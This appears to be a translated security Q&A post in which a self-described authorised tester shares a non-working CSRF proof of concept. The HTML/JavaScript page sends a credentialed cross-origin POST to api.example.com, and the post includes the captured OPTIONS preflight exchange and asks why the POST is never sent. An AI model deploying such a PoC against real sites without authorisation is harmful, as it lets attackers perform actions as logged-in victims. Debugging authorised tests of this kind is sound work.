Actualmente estoy trabajando en un PoC para un ataque CSRF, que debería ser posible debido a la configuración CORS laxa. Tengo permiso para atacar.
Ahora el siguiente código debe enviar una solicitud de OPCIONES, que incluye todos los detalles requeridos por el navegador para enviar el CSRF real.
<html>
<head>
</head>
<body>
<script>
function createCORSRequest(method, url){
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr){
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined"){
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
var url = 'https://api.example.com/path';
var xhr = createCORSRequest('POST', url);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', "application/json");
xhr.send("EXAMPLE");
</script>
</body>
</html>
El navegador envía una solicitud de OPCIONES y el servidor responde en consecuencia:
solicitud de OPCIONES:
OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
origin: null
Connection: close
Cache-Control: max-age=0
Response:
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close
Pero la solicitud POST real nunca se envía. No soy muy bueno con JS y he unido la parte XHR de diferentes publicaciones de StackExchange. Una variación de esto me funcionó para una aplicación web diferente.
¿Por qué el navegador no envía la solicitud POST de CSRF?